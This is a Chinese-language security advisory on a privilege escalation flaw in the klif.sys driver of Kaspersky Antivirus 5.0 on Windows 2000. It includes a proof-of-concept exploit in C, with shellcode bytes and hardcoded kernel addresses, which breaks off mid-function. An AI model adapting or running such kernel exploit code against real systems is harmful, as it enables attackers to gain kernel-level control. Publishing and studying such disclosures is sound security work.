Kaspersky杀毒软件klif.sys权限提升漏洞

受影响系统：
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述：
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BUGTRAQ  ID: _blank>13878

Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限，攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源：Ilya Rabinovich （info@softsphere.com）
  
  链接：_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=111817777430401&w=2
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000
                    0x6A,0x00,                    //push 0  
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13
                    0xFF,0xD0,                    //call eax
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>
                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30
                    0xFF,0xD0,                    //call eax
                    0x85,0xC0,                    //test eax,eax
                    0x74,0x03,                    //je +03
                    0xC2,0x04,0x00,                //retn 4
                    0x6A,0x00,                    //push 0
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58
                    0xFF,0xD0,                    //call eax
                    0xC2,0x04,0x00                //retn 4
                    };

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt \
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

    HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
    HANDLE hUser=GetModuleHandle("USER32.DLL");

    FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
    FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

    FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;